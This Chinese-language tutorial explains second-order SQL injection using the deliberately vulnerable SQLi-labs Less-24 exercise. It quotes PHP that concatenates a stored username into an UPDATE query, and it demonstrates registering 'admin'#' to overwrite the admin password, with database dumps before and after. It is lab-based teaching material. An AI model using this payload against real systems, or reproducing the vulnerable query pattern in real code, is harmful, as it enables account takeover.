二次注入原理

  • 二次注入的原理:在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 mysqli_real_escape_string 对其中的特殊字符进行了转义,但是 addslashes 有一个特点就是虽然参数在过滤后会添加 \ 进行转义,但是 \ 并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据。
  • 如下代码所示:
1
2
3
4
5
6
7
8
9
10
<?php
error_reporting(0);
$con = new mysqli();
$con->connect('localhost', 'root', 'root', 'security', '3306');
$username = mysqli_real_escape_string($con, $_GET[1]);
$pass = mysqli_real_escape_string($con, $_GET[2]);

$sql = "insert into users (username, password) values('{$username}', '{$pass}')";
echo $sql . "<br>";
$result = $con->query($sql);
  • 在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行下一步的检验和处理,这样就会造成 SQL 的二次注入。

源码分析

  • 一个经典的二次注入场景,所以下面来理一下源码(SQLi_lab24):

index.php

  • 主要记录了表单相关的信息,没有啥敏感代码,当做 index.html 来看待就可以了,具体的界面如下:

image-20231124014103702

  • 提示输入用户名和密码,用户名和密码正确之后就可以成功登陆,否则登陆失败。

  • 下面两个链接分别是:

    • Forgot your password?:跳转到 forgot_password.php,简单的一张图,没啥用。

    • New User click here?:跳转到 new_user.php,可以创建一个新用户。

failed.php

  • 检测会话,如果 Cookie 里面没有 Auth 参数的话,就跳转到 index.php
  • 密码重置失败后,跳转到此。

forgot_password.php

  • 没啥用,过。

Logged-in.php

  • 登录成功界面,可以进行密码重置,具体的界面如下:

image-20231124014339860

new_user.php

  • 创建新用户界面,本文件主要存放前段代码当作静态页面看就行,具体的界面如下:

image-20231124014107615

login_create.php

  • 创建新用户的后端代码,下面来简单理一下代码的流程:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 判断是否有参数提交
if (isset($_POST['submit'])) {

# 接受用户提交的用户名和密码,并使用 mysql_escape_string 转义
$username = mysql_escape_string($_POST['username']);
$pass = mysql_escape_string($_POST['password']);
$re_pass = mysql_escape_string($_POST['re_password']);

# 查询当前用户信息
$sql = "select count(*) from users where username='$username'";

# 如果当前用户已经存在,则无法注册
if (!$row[0] == 0)

# 将记录插入数据库中
$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";

login.php

  • 登录用户名和密码都被过滤了:
1
2
3
$username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]);
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";

pass_change.php

  • 分析一下代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
if 检测未登录:
重定向到首页
if 检测到提交表单:
# 对 pass 都进行了过滤
$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);

if 两次密码一致:
# 直接将 username 拼接到 SQL 语句
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
else:
提示密码不一致 并重定向到 fail.php

思路分析

  • 先查看创建用户的地方:
1
username =  mysql_escape_string($_POST['username']) ;
  • $_POST['username']mysql_escape_string 函数转义了。
  • 再看下更新密码的核心语句:
1
UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'
  • 这里直接使用单引号拼接了 $username 所以当 $username 可控的话 ,这里是存在SQL注入的,假设用户注册的 username 的值为:admin'#,那么此时的完整语句就为:
1
UPDATE users SET PASSWORD='$pass' where username='admin'# and password='$curr_pass'
  • 此时就完全改变了语义,直接就修改掉了 admin 用户的密码。
  • 回头看看 pass_change.php 文件,发现 $username 取值来自 $_SESSION["username"],而这个值取自 login.php$_SESSION["username"] = $login,是从数据库中查出来的,有苗头。

步骤演示

  • 注册一个admin'#的用户,注册完成后数据库的记录信息如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
mysql> select * from security.users;
+----+-----------+------------+
| id | username | password |
+----+-----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
| 15 | admin'# | 123456 |
+----+-----------+------------+
14 rows in set (0.00 sec)
  • 成功添加了记录,虽然之前被转义了但转义不过是暂时的,最后存入到数据库的时候还是没变的。
  • 接下来登录 admin'# 用户,然后修改当前的密码:

image-20231124014122927

  • 此时来数据库中查看,可以发现成功修改掉了 admin 用的密码了:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
mysql> select * from security.users;
+----+-----------+------------+
| id | username | password |
+----+-----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | 1 |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
| 15 | admin'# | 123456 |
+----+-----------+------------+
14 rows in set (0.00 sec)